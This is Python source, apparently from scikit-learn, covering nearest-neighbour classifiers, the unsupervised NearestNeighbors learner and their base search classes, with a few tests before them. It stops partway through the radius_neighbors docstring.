                (np.asarray(clf.intercept_) != 0).any())


@nose.tools.raises(ValueError)
def test_ill_posed_min_c():
    X = [[0, 0], [0, 0]]
    y = [0, 1]
    l1_min_c(X, y)


@nose.tools.raises(ValueError)
def test_unsupported_loss():
    l1_min_c(dense_X, Y1, 'l1')






"""Nearest Neighbor Classification"""

# Authors: Jake Vanderplas <vanderplas@astro.washington.edu>
#          Fabian Pedregosa <fabian.pedregosa@inria.fr>
#          Alexandre Gramfort <alexandre.gramfort@inria.fr>
#          Sparseness support by Lars Buitinck
#          Multi-output support by Arnaud Joly <a.joly@ulg.ac.be>
#
# License: BSD 3 clause (C) INRIA, University of Amsterdam

import numpy as np
from scipy import stats
from ..utils.extmath import weighted_mode

from .base import \
    _check_weights, _get_weights, \
    NeighborsBase, KNeighborsMixin,\
    RadiusNeighborsMixin, SupervisedIntegerMixin
from ..base import ClassifierMixin
from ..utils import check_array


class KNeighborsClassifier(NeighborsBase, KNeighborsMixin,
                           SupervisedIntegerMixin, ClassifierMixin):
    """Classifier implementing the k-nearest neighbors vote.

    Read more in the :ref:`User Guide <classification>`.

    Parameters
    ----------
    n_neighbors : int, optional (default = 5)
        Number of neighbors to use by default for :meth:`k_neighbors` queries.

    weights : str or callable, optional (default = 'uniform')
        weight function used in prediction.  Possible values:

        - 'uniform' : uniform weights.  All points in each neighborhood
          are weighted equally.
        - 'distance' : weight points by the inverse of their distance.
          in this case, closer neighbors of a query point will have a
          greater influence than neighbors which are further away.
        - [callable] : a user-defined function which accepts an
          array of distances, and returns an array of the same shape
          containing the weights.

    algorithm : {'auto', 'ball_tree', 'kd_tree', 'brute'}, optional
        Algorithm used to compute the nearest neighbors:

        - 'ball_tree' will use :class:`BallTree`
        - 'kd_tree' will use :class:`KDTree`
        - 'brute' will use a brute-force search.
        - 'auto' will attempt to decide the most appropriate algorithm
          based on the values passed to :meth:`fit` method.

        Note: fitting on sparse input will override the setting of
        this parameter, using brute force.

    leaf_size : int, optional (default = 30)
        Leaf size passed to BallTree or KDTree.  This can affect the
        speed of the construction and query, as well as the memory
        required to store the tree.  The optimal value depends on the
        nature of the problem.

    metric : string or DistanceMetric object (default = 'minkowski')
        the distance metric to use for the tree.  The default metric is
        minkowski, and with p=2 is equivalent to the standard Euclidean
        metric. See the documentation of the DistanceMetric class for a
        list of available metrics.

    p : integer, optional (default = 2)
        Power parameter for the Minkowski metric. When p = 1, this is
        equivalent to using manhattan_distance (l1), and euclidean_distance
        (l2) for p = 2. For arbitrary p, minkowski_distance (l_p) is used.

    metric_params : dict, optional (default = None)
        Additional keyword arguments for the metric function.

    n_jobs : int, optional (default = 1)
        The number of parallel jobs to run for neighbors search.
        If ``-1``, then the number of jobs is set to the number of CPU cores.
        Doesn't affect :meth:`fit` method.

    Examples
    --------
    >>> X = [[0], [1], [2], [3]]
    >>> y = [0, 0, 1, 1]
    >>> from sklearn.neighbors import KNeighborsClassifier
    >>> neigh = KNeighborsClassifier(n_neighbors=3)
    >>> neigh.fit(X, y) # doctest: +ELLIPSIS
    KNeighborsClassifier(...)
    >>> print(neigh.predict([[1.1]]))
    [0]
    >>> print(neigh.predict_proba([[0.9]]))
    [[ 0.66666667  0.33333333]]

    See also
    --------
    RadiusNeighborsClassifier
    KNeighborsRegressor
    RadiusNeighborsRegressor
    NearestNeighbors

    Notes
    -----
    See :ref:`Nearest Neighbors <neighbors>` in the online documentation
    for a discussion of the choice of ``algorithm`` and ``leaf_size``.

    .. warning::

       Regarding the Nearest Neighbors algorithms, if it is found that two
       neighbors, neighbor `k+1` and `k`, have identical distances but
       but different labels, the results will depend on the ordering of the
       training data.

    https://en.wikipedia.org/wiki/K-nearest_neighbor_algorithm
    """

    def __init__(self, n_neighbors=5,
                 weights='uniform', algorithm='auto', leaf_size=30,
                 p=2, metric='minkowski', metric_params=None, n_jobs=1,
                 **kwargs):

        self._init_params(n_neighbors=n_neighbors,
                          algorithm=algorithm,
                          leaf_size=leaf_size, metric=metric, p=p,
                          metric_params=metric_params, n_jobs=n_jobs, **kwargs)
        self.weights = _check_weights(weights)

    def predict(self, X):
        """Predict the class labels for the provided data

        Parameters
        ----------
        X : array-like, shape (n_query, n_features), \
                or (n_query, n_indexed) if metric == 'precomputed'
            Test samples.

        Returns
        -------
        y : array of shape [n_samples] or [n_samples, n_outputs]
            Class labels for each data sample.
        """
        X = check_array(X, accept_sparse='csr')

        neigh_dist, neigh_ind = self.kneighbors(X)

        classes_ = self.classes_
        _y = self._y
        if not self.outputs_2d_:
            _y = self._y.reshape((-1, 1))
            classes_ = [self.classes_]

        n_outputs = len(classes_)
        n_samples = X.shape[0]
        weights = _get_weights(neigh_dist, self.weights)

        y_pred = np.empty((n_samples, n_outputs), dtype=classes_[0].dtype)
        for k, classes_k in enumerate(classes_):
            if weights is None:
                mode, _ = stats.mode(_y[neigh_ind, k], axis=1)
            else:
                mode, _ = weighted_mode(_y[neigh_ind, k], weights, axis=1)

            mode = np.asarray(mode.ravel(), dtype=np.intp)
            y_pred[:, k] = classes_k.take(mode)

        if not self.outputs_2d_:
            y_pred = y_pred.ravel()

        return y_pred

    def predict_proba(self, X):
        """Return probability estimates for the test data X.

        Parameters
        ----------
        X : array-like, shape (n_query, n_features), \
                or (n_query, n_indexed) if metric == 'precomputed'
            Test samples.

        Returns
        -------
        p : array of shape = [n_samples, n_classes], or a list of n_outputs
            of such arrays if n_outputs > 1.
            The class probabilities of the input samples. Classes are ordered
            by lexicographic order.
        """
        X = check_array(X, accept_sparse='csr')

        neigh_dist, neigh_ind = self.kneighbors(X)

        classes_ = self.classes_
        _y = self._y
        if not self.outputs_2d_:
            _y = self._y.reshape((-1, 1))
            classes_ = [self.classes_]

        n_samples = X.shape[0]

        weights = _get_weights(neigh_dist, self.weights)
        if weights is None:
            weights = np.ones_like(neigh_ind)

        all_rows = np.arange(X.shape[0])
        probabilities = []
        for k, classes_k in enumerate(classes_):
            pred_labels = _y[:, k][neigh_ind]
            proba_k = np.zeros((n_samples, classes_k.size))

            # a simple ':' index doesn't work right
            for i, idx in enumerate(pred_labels.T):  # loop is O(n_neighbors)
                proba_k[all_rows, idx] += weights[:, i]

            # normalize 'votes' into real [0,1] probabilities
            normalizer = proba_k.sum(axis=1)[:, np.newaxis]
            normalizer[normalizer == 0.0] = 1.0
            proba_k /= normalizer

            probabilities.append(proba_k)

        if not self.outputs_2d_:
            probabilities = probabilities[0]

        return probabilities


class RadiusNeighborsClassifier(NeighborsBase, RadiusNeighborsMixin,
                                SupervisedIntegerMixin, ClassifierMixin):
    """Classifier implementing a vote among neighbors within a given radius

    Read more in the :ref:`User Guide <classification>`.

    Parameters
    ----------
    radius : float, optional (default = 1.0)
        Range of parameter space to use by default for :meth`radius_neighbors`
        queries.

    weights : str or callable
        weight function used in prediction.  Possible values:

        - 'uniform' : uniform weights.  All points in each neighborhood
          are weighted equally.
        - 'distance' : weight points by the inverse of their distance.
          in this case, closer neighbors of a query point will have a
          greater influence than neighbors which are further away.
        - [callable] : a user-defined function which accepts an
          array of distances, and returns an array of the same shape
          containing the weights.

        Uniform weights are used by default.

    algorithm : {'auto', 'ball_tree', 'kd_tree', 'brute'}, optional
        Algorithm used to compute the nearest neighbors:

        - 'ball_tree' will use :class:`BallTree`
        - 'kd_tree' will use :class:`KDtree`
        - 'brute' will use a brute-force search.
        - 'auto' will attempt to decide the most appropriate algorithm
          based on the values passed to :meth:`fit` method.

        Note: fitting on sparse input will override the setting of
        this parameter, using brute force.

    leaf_size : int, optional (default = 30)
        Leaf size passed to BallTree or KDTree.  This can affect the
        speed of the construction and query, as well as the memory
        required to store the tree.  The optimal value depends on the
        nature of the problem.

    metric : string or DistanceMetric object (default='minkowski')
        the distance metric to use for the tree.  The default metric is
        minkowski, and with p=2 is equivalent to the standard Euclidean
        metric. See the documentation of the DistanceMetric class for a
        list of available metrics.

    p : integer, optional (default = 2)
        Power parameter for the Minkowski metric. When p = 1, this is
        equivalent to using manhattan_distance (l1), and euclidean_distance
        (l2) for p = 2. For arbitrary p, minkowski_distance (l_p) is used.

    outlier_label : int, optional (default = None)
        Label, which is given for outlier samples (samples with no
        neighbors on given radius).
        If set to None, ValueError is raised, when outlier is detected.

    metric_params : dict, optional (default = None)
        Additional keyword arguments for the metric function.

    Examples
    --------
    >>> X = [[0], [1], [2], [3]]
    >>> y = [0, 0, 1, 1]
    >>> from sklearn.neighbors import RadiusNeighborsClassifier
    >>> neigh = RadiusNeighborsClassifier(radius=1.0)
    >>> neigh.fit(X, y) # doctest: +ELLIPSIS
    RadiusNeighborsClassifier(...)
    >>> print(neigh.predict([[1.5]]))
    [0]

    See also
    --------
    KNeighborsClassifier
    RadiusNeighborsRegressor
    KNeighborsRegressor
    NearestNeighbors

    Notes
    -----
    See :ref:`Nearest Neighbors <neighbors>` in the online documentation
    for a discussion of the choice of ``algorithm`` and ``leaf_size``.

    https://en.wikipedia.org/wiki/K-nearest_neighbor_algorithm
    """

    def __init__(self, radius=1.0, weights='uniform',
                 algorithm='auto', leaf_size=30, p=2, metric='minkowski',
                 outlier_label=None, metric_params=None, **kwargs):
        self._init_params(radius=radius,
                          algorithm=algorithm,
                          leaf_size=leaf_size,
                          metric=metric, p=p, metric_params=metric_params,
                          **kwargs)
        self.weights = _check_weights(weights)
        self.outlier_label = outlier_label

    def predict(self, X):
        """Predict the class labels for the provided data

        Parameters
        ----------
        X : array-like, shape (n_query, n_features), \
                or (n_query, n_indexed) if metric == 'precomputed'
            Test samples.

        Returns
        -------
        y : array of shape [n_samples] or [n_samples, n_outputs]
            Class labels for each data sample.

        """
        X = check_array(X, accept_sparse='csr')
        n_samples = X.shape[0]

        neigh_dist, neigh_ind = self.radius_neighbors(X)
        inliers = [i for i, nind in enumerate(neigh_ind) if len(nind) != 0]
        outliers = [i for i, nind in enumerate(neigh_ind) if len(nind) == 0]

        classes_ = self.classes_
        _y = self._y
        if not self.outputs_2d_:
            _y = self._y.reshape((-1, 1))
            classes_ = [self.classes_]
        n_outputs = len(classes_)

        if self.outlier_label is not None:
            neigh_dist[outliers] = 1e-6
        elif outliers:
            raise ValueError('No neighbors found for test samples %r, '
                             'you can try using larger radius, '
                             'give a label for outliers, '
                             'or consider removing them from your dataset.'
                             % outliers)

        weights = _get_weights(neigh_dist, self.weights)

        y_pred = np.empty((n_samples, n_outputs), dtype=classes_[0].dtype)
        for k, classes_k in enumerate(classes_):
            pred_labels = np.array([_y[ind, k] for ind in neigh_ind],
                                   dtype=object)
            if weights is None:
                mode = np.array([stats.mode(pl)[0]
                                 for pl in pred_labels[inliers]], dtype=np.int)
            else:
                mode = np.array([weighted_mode(pl, w)[0]
                                 for (pl, w)
                                 in zip(pred_labels[inliers], weights[inliers])],
                                dtype=np.int)

            mode = mode.ravel()

            y_pred[inliers, k] = classes_k.take(mode)

        if outliers:
            y_pred[outliers, :] = self.outlier_label

        if not self.outputs_2d_:
            y_pred = y_pred.ravel()

        return y_pred






"""Unsupervised nearest neighbors learner"""

from .base import NeighborsBase
from .base import KNeighborsMixin
from .base import RadiusNeighborsMixin
from .base import UnsupervisedMixin


class NearestNeighbors(NeighborsBase, KNeighborsMixin,
                       RadiusNeighborsMixin, UnsupervisedMixin):
    """Unsupervised learner for implementing neighbor searches.

    Read more in the :ref:`User Guide <unsupervised_neighbors>`.

    Parameters
    ----------
    n_neighbors : int, optional (default = 5)
        Number of neighbors to use by default for :meth:`k_neighbors` queries.

    radius : float, optional (default = 1.0)
        Range of parameter space to use by default for :meth`radius_neighbors`
        queries.

    algorithm : {'auto', 'ball_tree', 'kd_tree', 'brute'}, optional
        Algorithm used to compute the nearest neighbors:

        - 'ball_tree' will use :class:`BallTree`
        - 'kd_tree' will use :class:`KDtree`
        - 'brute' will use a brute-force search.
        - 'auto' will attempt to decide the most appropriate algorithm
          based on the values passed to :meth:`fit` method.

        Note: fitting on sparse input will override the setting of
        this parameter, using brute force.

    leaf_size : int, optional (default = 30)
        Leaf size passed to BallTree or KDTree.  This can affect the
        speed of the construction and query, as well as the memory
        required to store the tree.  The optimal value depends on the
        nature of the problem.

    p: integer, optional (default = 2)
        Parameter for the Minkowski metric from
        sklearn.metrics.pairwise.pairwise_distances. When p = 1, this is
        equivalent to using manhattan_distance (l1), and euclidean_distance
        (l2) for p = 2. For arbitrary p, minkowski_distance (l_p) is used.

    metric : string or callable, default 'minkowski'
        metric to use for distance computation. Any metric from scikit-learn
        or scipy.spatial.distance can be used.

        If metric is a callable function, it is called on each
        pair of instances (rows) and the resulting value recorded. The callable
        should take two arrays as input and return one value indicating the
        distance between them. This works for Scipy's metrics, but is less
        efficient than passing the metric name as a string.

        Distance matrices are not supported.

        Valid values for metric are:

        - from scikit-learn: ['cityblock', 'cosine', 'euclidean', 'l1', 'l2',
          'manhattan']

        - from scipy.spatial.distance: ['braycurtis', 'canberra', 'chebyshev',
          'correlation', 'dice', 'hamming', 'jaccard', 'kulsinski',
          'mahalanobis', 'matching', 'minkowski', 'rogerstanimoto',
          'russellrao', 'seuclidean', 'sokalmichener', 'sokalsneath',
          'sqeuclidean', 'yule']

        See the documentation for scipy.spatial.distance for details on these
        metrics.

    metric_params : dict, optional (default = None)
        Additional keyword arguments for the metric function.

    n_jobs : int, optional (default = 1)
        The number of parallel jobs to run for neighbors search.
        If ``-1``, then the number of jobs is set to the number of CPU cores.
        Affects only :meth:`k_neighbors` and :meth:`kneighbors_graph` methods.

    Examples
    --------
      >>> import numpy as np
      >>> from sklearn.neighbors import NearestNeighbors
      >>> samples = [[0, 0, 2], [1, 0, 0], [0, 0, 1]]

      >>> neigh = NearestNeighbors(2, 0.4)
      >>> neigh.fit(samples)  #doctest: +ELLIPSIS
      NearestNeighbors(...)

      >>> neigh.kneighbors([[0, 0, 1.3]], 2, return_distance=False)
      ... #doctest: +ELLIPSIS
      array([[2, 0]]...)

      >>> nbrs = neigh.radius_neighbors([[0, 0, 1.3]], 0.4, return_distance=False)
      >>> np.asarray(nbrs[0][0])
      array(2)

    See also
    --------
    KNeighborsClassifier
    RadiusNeighborsClassifier
    KNeighborsRegressor
    RadiusNeighborsRegressor
    BallTree

    Notes
    -----
    See :ref:`Nearest Neighbors <neighbors>` in the online documentation
    for a discussion of the choice of ``algorithm`` and ``leaf_size``.

    https://en.wikipedia.org/wiki/K-nearest_neighbor_algorithm
    """

    def __init__(self, n_neighbors=5, radius=1.0,
                 algorithm='auto', leaf_size=30, metric='minkowski',
                 p=2, metric_params=None, n_jobs=1, **kwargs):
        self._init_params(n_neighbors=n_neighbors,
                          radius=radius,
                          algorithm=algorithm,
                          leaf_size=leaf_size, metric=metric, p=p,
                          metric_params=metric_params, n_jobs=n_jobs, **kwargs)






"""Base and mixin classes for nearest neighbors"""
# Authors: Jake Vanderplas <vanderplas@astro.washington.edu>
#          Fabian Pedregosa <fabian.pedregosa@inria.fr>
#          Alexandre Gramfort <alexandre.gramfort@inria.fr>
#          Sparseness support by Lars Buitinck
#          Multi-output support by Arnaud Joly <a.joly@ulg.ac.be>
#
# License: BSD 3 clause (C) INRIA, University of Amsterdam
import warnings
from abc import ABCMeta, abstractmethod

import numpy as np
from scipy.sparse import csr_matrix, issparse

from .ball_tree import BallTree
from .kd_tree import KDTree
from ..base import BaseEstimator
from ..metrics import pairwise_distances
from ..metrics.pairwise import PAIRWISE_DISTANCE_FUNCTIONS
from ..utils import check_X_y, check_array, _get_n_jobs, gen_even_slices
from ..utils.fixes import argpartition
from ..utils.multiclass import check_classification_targets
from ..externals import six
from ..externals.joblib import Parallel, delayed
from ..exceptions import NotFittedError
from ..exceptions import DataConversionWarning

VALID_METRICS = dict(ball_tree=BallTree.valid_metrics,
                     kd_tree=KDTree.valid_metrics,
                     # The following list comes from the
                     # sklearn.metrics.pairwise doc string
                     brute=(list(PAIRWISE_DISTANCE_FUNCTIONS.keys()) +
                            ['braycurtis', 'canberra', 'chebyshev',
                             'correlation', 'cosine', 'dice', 'hamming',
                             'jaccard', 'kulsinski', 'mahalanobis',
                             'matching', 'minkowski', 'rogerstanimoto',
                             'russellrao', 'seuclidean', 'sokalmichener',
                             'sokalsneath', 'sqeuclidean',
                             'yule', 'wminkowski']))


VALID_METRICS_SPARSE = dict(ball_tree=[],
                            kd_tree=[],
                            brute=PAIRWISE_DISTANCE_FUNCTIONS.keys())


def _check_weights(weights):
    """Check to make sure weights are valid"""
    if weights in (None, 'uniform', 'distance'):
        return weights
    elif callable(weights):
        return weights
    else:
        raise ValueError("weights not recognized: should be 'uniform', "
                         "'distance', or a callable function")


def _get_weights(dist, weights):
    """Get the weights from an array of distances and a parameter ``weights``

    Parameters
    ===========
    dist: ndarray
        The input distances
    weights: {'uniform', 'distance' or a callable}
        The kind of weighting used

    Returns
    ========
    weights_arr: array of the same shape as ``dist``
        if ``weights == 'uniform'``, then returns None
    """
    if weights in (None, 'uniform'):
        return None
    elif weights == 'distance':
        # if user attempts to classify a point that was zero distance from one
        # or more training points, those training points are weighted as 1.0
        # and the other points as 0.0
        if dist.dtype is np.dtype(object):
            for point_dist_i, point_dist in enumerate(dist):
                # check if point_dist is iterable
                # (ex: RadiusNeighborClassifier.predict may set an element of
                # dist to 1e-6 to represent an 'outlier')
                if hasattr(point_dist, '__contains__') and 0. in point_dist:
                    dist[point_dist_i] = point_dist == 0.
                else:
                    dist[point_dist_i] = 1. / point_dist
        else:
            with np.errstate(divide='ignore'):
                dist = 1. / dist
            inf_mask = np.isinf(dist)
            inf_row = np.any(inf_mask, axis=1)
            dist[inf_row] = inf_mask[inf_row]
        return dist
    elif callable(weights):
        return weights(dist)
    else:
        raise ValueError("weights not recognized: should be 'uniform', "
                         "'distance', or a callable function")


class NeighborsBase(six.with_metaclass(ABCMeta, BaseEstimator)):
    """Base class for nearest neighbors estimators."""

    @abstractmethod
    def __init__(self):
        pass

    def _init_params(self, n_neighbors=None, radius=None,
                     algorithm='auto', leaf_size=30, metric='minkowski',
                     p=2, metric_params=None, n_jobs=1):

        self.n_neighbors = n_neighbors
        self.radius = radius
        self.algorithm = algorithm
        self.leaf_size = leaf_size
        self.metric = metric
        self.metric_params = metric_params
        self.p = p
        self.n_jobs = n_jobs

        if algorithm not in ['auto', 'brute',
                             'kd_tree', 'ball_tree']:
            raise ValueError("unrecognized algorithm: '%s'" % algorithm)

        if algorithm == 'auto':
            if metric == 'precomputed':
                alg_check = 'brute'
            else:
                alg_check = 'ball_tree'
        else:
            alg_check = algorithm

        if callable(metric):
            if algorithm == 'kd_tree':
                # callable metric is only valid for brute force and ball_tree
                raise ValueError(
                    "kd_tree algorithm does not support callable metric '%s'"
                    % metric)
        elif metric not in VALID_METRICS[alg_check]:
            raise ValueError("Metric '%s' not valid for algorithm '%s'"
                             % (metric, algorithm))

        if self.metric_params is not None and 'p' in self.metric_params:
            warnings.warn("Parameter p is found in metric_params. "
                          "The corresponding parameter from __init__ "
                          "is ignored.", SyntaxWarning, stacklevel=3)
            effective_p = metric_params['p']
        else:
            effective_p = self.p

        if self.metric in ['wminkowski', 'minkowski'] and effective_p < 1:
            raise ValueError("p must be greater than one for minkowski metric")

        self._fit_X = None
        self._tree = None
        self._fit_method = None

    def _fit(self, X):
        if self.metric_params is None:
            self.effective_metric_params_ = {}
        else:
            self.effective_metric_params_ = self.metric_params.copy()

        effective_p = self.effective_metric_params_.get('p', self.p)
        if self.metric in ['wminkowski', 'minkowski']:
            self.effective_metric_params_['p'] = effective_p

        self.effective_metric_ = self.metric
        # For minkowski distance, use more efficient methods where available
        if self.metric == 'minkowski':
            p = self.effective_metric_params_.pop('p', 2)
            if p < 1:
                raise ValueError("p must be greater than one "
                                 "for minkowski metric")
            elif p == 1:
                self.effective_metric_ = 'manhattan'
            elif p == 2:
                self.effective_metric_ = 'euclidean'
            elif p == np.inf:
                self.effective_metric_ = 'chebyshev'
            else:
                self.effective_metric_params_['p'] = p

        if isinstance(X, NeighborsBase):
            self._fit_X = X._fit_X
            self._tree = X._tree
            self._fit_method = X._fit_method
            return self

        elif isinstance(X, BallTree):
            self._fit_X = X.data
            self._tree = X
            self._fit_method = 'ball_tree'
            return self

        elif isinstance(X, KDTree):
            self._fit_X = X.data
            self._tree = X
            self._fit_method = 'kd_tree'
            return self

        X = check_array(X, accept_sparse='csr')

        n_samples = X.shape[0]
        if n_samples == 0:
            raise ValueError("n_samples must be greater than 0")

        if issparse(X):
            if self.algorithm not in ('auto', 'brute'):
                warnings.warn("cannot use tree with sparse input: "
                              "using brute force")
            if self.effective_metric_ not in VALID_METRICS_SPARSE['brute']:
                raise ValueError("metric '%s' not valid for sparse input"
                                 % self.effective_metric_)
            self._fit_X = X.copy()
            self._tree = None
            self._fit_method = 'brute'
            return self

        self._fit_method = self.algorithm
        self._fit_X = X

        if self._fit_method == 'auto':
            # A tree approach is better for small number of neighbors,
            # and KDTree is generally faster when available
            if ((self.n_neighbors is None or
                 self.n_neighbors < self._fit_X.shape[0] // 2) and
                    self.metric != 'precomputed'):
                if self.effective_metric_ in VALID_METRICS['kd_tree']:
                    self._fit_method = 'kd_tree'
                else:
                    self._fit_method = 'ball_tree'
            else:
                self._fit_method = 'brute'

        if self._fit_method == 'ball_tree':
            self._tree = BallTree(X, self.leaf_size,
                                  metric=self.effective_metric_,
                                  **self.effective_metric_params_)
        elif self._fit_method == 'kd_tree':
            self._tree = KDTree(X, self.leaf_size,
                                metric=self.effective_metric_,
                                **self.effective_metric_params_)
        elif self._fit_method == 'brute':
            self._tree = None
        else:
            raise ValueError("algorithm = '%s' not recognized"
                             % self.algorithm)

        if self.n_neighbors is not None:
            if self.n_neighbors <= 0:
                raise ValueError(
                    "Expected n_neighbors > 0. Got %d" %
                    self.n_neighbors
                )

        return self

    @property
    def _pairwise(self):
        # For cross-validation routines to split data correctly
        return self.metric == 'precomputed'


class KNeighborsMixin(object):
    """Mixin for k-neighbors searches"""

    def kneighbors(self, X=None, n_neighbors=None, return_distance=True):
        """Finds the K-neighbors of a point.

        Returns indices of and distances to the neighbors of each point.

        Parameters
        ----------
        X : array-like, shape (n_query, n_features), \
                or (n_query, n_indexed) if metric == 'precomputed'
            The query point or points.
            If not provided, neighbors of each indexed point are returned.
            In this case, the query point is not considered its own neighbor.

        n_neighbors : int
            Number of neighbors to get (default is the value
            passed to the constructor).

        return_distance : boolean, optional. Defaults to True.
            If False, distances will not be returned

        Returns
        -------
        dist : array
            Array representing the lengths to points, only present if
            return_distance=True

        ind : array
            Indices of the nearest points in the population matrix.

        Examples
        --------
        In the following example, we construct a NeighborsClassifier
        class from an array representing our data set and ask who's
        the closest point to [1,1,1]

        >>> samples = [[0., 0., 0.], [0., .5, 0.], [1., 1., .5]]
        >>> from sklearn.neighbors import NearestNeighbors
        >>> neigh = NearestNeighbors(n_neighbors=1)
        >>> neigh.fit(samples) # doctest: +ELLIPSIS
        NearestNeighbors(algorithm='auto', leaf_size=30, ...)
        >>> print(neigh.kneighbors([[1., 1., 1.]])) # doctest: +ELLIPSIS
        (array([[ 0.5]]), array([[2]]...))

        As you can see, it returns [[0.5]], and [[2]], which means that the
        element is at distance 0.5 and is the third element of samples
        (indexes start at 0). You can also query for multiple points:

        >>> X = [[0., 1., 0.], [1., 0., 1.]]
        >>> neigh.kneighbors(X, return_distance=False) # doctest: +ELLIPSIS
        array([[1],
               [2]]...)

        """
        if self._fit_method is None:
            raise NotFittedError("Must fit neighbors before querying.")

        if n_neighbors is None:
            n_neighbors = self.n_neighbors

        if X is not None:
            query_is_train = False
            X = check_array(X, accept_sparse='csr')
        else:
            query_is_train = True
            X = self._fit_X
            # Include an extra neighbor to account for the sample itself being
            # returned, which is removed later
            n_neighbors += 1

        train_size = self._fit_X.shape[0]
        if n_neighbors > train_size:
            raise ValueError(
                "Expected n_neighbors <= n_samples, "
                " but n_samples = %d, n_neighbors = %d" %
                (train_size, n_neighbors)
            )
        n_samples, _ = X.shape
        sample_range = np.arange(n_samples)[:, None]

        n_jobs = _get_n_jobs(self.n_jobs)
        if self._fit_method == 'brute':
            # for efficiency, use squared euclidean distances
            if self.effective_metric_ == 'euclidean':
                dist = pairwise_distances(X, self._fit_X, 'euclidean',
                                          n_jobs=n_jobs, squared=True)
            else:
                dist = pairwise_distances(
                    X, self._fit_X, self.effective_metric_, n_jobs=n_jobs,
                    **self.effective_metric_params_)

            neigh_ind = argpartition(dist, n_neighbors - 1, axis=1)
            neigh_ind = neigh_ind[:, :n_neighbors]
            # argpartition doesn't guarantee sorted order, so we sort again
            neigh_ind = neigh_ind[
                sample_range, np.argsort(dist[sample_range, neigh_ind])]

            if return_distance:
                if self.effective_metric_ == 'euclidean':
                    result = np.sqrt(dist[sample_range, neigh_ind]), neigh_ind
                else:
                    result = dist[sample_range, neigh_ind], neigh_ind
            else:
                result = neigh_ind

        elif self._fit_method in ['ball_tree', 'kd_tree']:
            if issparse(X):
                raise ValueError(
                    "%s does not work with sparse matrices. Densify the data, "
                    "or set algorithm='brute'" % self._fit_method)
            result = Parallel(n_jobs, backend='threading')(
                delayed(self._tree.query, check_pickle=False)(
                    X[s], n_neighbors, return_distance)
                for s in gen_even_slices(X.shape[0], n_jobs)
            )
            if return_distance:
                dist, neigh_ind = tuple(zip(*result))
                result = np.vstack(dist), np.vstack(neigh_ind)
            else:
                result = np.vstack(result)
        else:
            raise ValueError("internal: _fit_method not recognized")

        if not query_is_train:
            return result
        else:
            # If the query data is the same as the indexed data, we would like
            # to ignore the first nearest neighbor of every sample, i.e
            # the sample itself.
            if return_distance:
                dist, neigh_ind = result
            else:
                neigh_ind = result

            sample_mask = neigh_ind != sample_range

            # Corner case: When the number of duplicates are more
            # than the number of neighbors, the first NN will not
            # be the sample, but a duplicate.
            # In that case mask the first duplicate.
            dup_gr_nbrs = np.all(sample_mask, axis=1)
            sample_mask[:, 0][dup_gr_nbrs] = False

            neigh_ind = np.reshape(
                neigh_ind[sample_mask], (n_samples, n_neighbors - 1))

            if return_distance:
                dist = np.reshape(
                    dist[sample_mask], (n_samples, n_neighbors - 1))
                return dist, neigh_ind
            return neigh_ind

    def kneighbors_graph(self, X=None, n_neighbors=None,
                         mode='connectivity'):
        """Computes the (weighted) graph of k-Neighbors for points in X

        Parameters
        ----------
        X : array-like, shape (n_query, n_features), \
                or (n_query, n_indexed) if metric == 'precomputed'
            The query point or points.
            If not provided, neighbors of each indexed point are returned.
            In this case, the query point is not considered its own neighbor.

        n_neighbors : int
            Number of neighbors for each sample.
            (default is value passed to the constructor).

        mode : {'connectivity', 'distance'}, optional
            Type of returned matrix: 'connectivity' will return the
            connectivity matrix with ones and zeros, in 'distance' the
            edges are Euclidean distance between points.

        Returns
        -------
        A : sparse matrix in CSR format, shape = [n_samples, n_samples_fit]
            n_samples_fit is the number of samples in the fitted data
            A[i, j] is assigned the weight of edge that connects i to j.

        Examples
        --------
        >>> X = [[0], [3], [1]]
        >>> from sklearn.neighbors import NearestNeighbors
        >>> neigh = NearestNeighbors(n_neighbors=2)
        >>> neigh.fit(X) # doctest: +ELLIPSIS
        NearestNeighbors(algorithm='auto', leaf_size=30, ...)
        >>> A = neigh.kneighbors_graph(X)
        >>> A.toarray()
        array([[ 1.,  0.,  1.],
               [ 0.,  1.,  1.],
               [ 1.,  0.,  1.]])

        See also
        --------
        NearestNeighbors.radius_neighbors_graph
        """
        if n_neighbors is None:
            n_neighbors = self.n_neighbors

        # kneighbors does the None handling.
        if X is not None:
            X = check_array(X, accept_sparse='csr')
            n_samples1 = X.shape[0]
        else:
            n_samples1 = self._fit_X.shape[0]

        n_samples2 = self._fit_X.shape[0]
        n_nonzero = n_samples1 * n_neighbors
        A_indptr = np.arange(0, n_nonzero + 1, n_neighbors)

        # construct CSR matrix representation of the k-NN graph
        if mode == 'connectivity':
            A_data = np.ones(n_samples1 * n_neighbors)
            A_ind = self.kneighbors(X, n_neighbors, return_distance=False)

        elif mode == 'distance':
            A_data, A_ind = self.kneighbors(
                X, n_neighbors, return_distance=True)
            A_data = np.ravel(A_data)

        else:
            raise ValueError(
                'Unsupported mode, must be one of "connectivity" '
                'or "distance" but got "%s" instead' % mode)

        kneighbors_graph = csr_matrix((A_data, A_ind.ravel(), A_indptr),
                                      shape=(n_samples1, n_samples2))

        return kneighbors_graph


class RadiusNeighborsMixin(object):
    """Mixin for radius-based neighbors searches"""

    def radius_neighbors(self, X=None, radius=None, return_distance=True):
        """Finds the neighbors within a given radius of a point or points.

        Return the indices and distances of each point from the dataset
        lying in a ball with size ``radius`` around the points of the query
        array. Points lying on the boundary are included in the results.

        The result points are *not* necessarily sorted by distance to their
        query point.

        Parameters
        ----------
        X : array-like, (n_samples, n_features), optional
            The query point or points.
            If not provided, neighbors of each indexed point are returned.
            In this case, the query point is not considered its own neighbor.

        radius : float
            Limiting distance of neighbors to return.
            (default is the value passed to the constructor).

        return_distance : boolean, optional. Defaults to True.
            If False, distances will not be returned

        Returns
        -------
        dist : array, shape (n_samples,) of arrays
            Array representing the distances to each point, only present if
            return_distance=True. The distance values are computed according
            to the ``metric`` constructor parameter.

        ind : array, shape (n_samples,) of arrays
            An array of arrays of indices of the approximate nearest points
            from the population matrix that lie within a ball of size
            ``radius`` around the query points.

        Examples
        --------
        In the following example, we construct a NeighborsClassifier
        class from an array representing our data set and ask who's
        the closest point to [1, 1, 1]:

        >>> import numpy as np
        >>> samples = [[0., 0., 0.], [0., .5, 0.], [1., 1., .5]]
        >>> from sklearn.neighbors import NearestNeighbors
        >>> neigh = NearestNeighbors(radius=1.6)
        >>> neigh.fit(samples) # doctest: +ELLIPSIS
        NearestNeighbors(algorithm='auto', leaf_size=30, ...)
        >>> rng = neigh.radius_neighbors([[1., 1., 1.]])
        >>> print(np.asarray(rng[0][0])) # doctest: +ELLIPSIS
        [ 1.5  0.5]
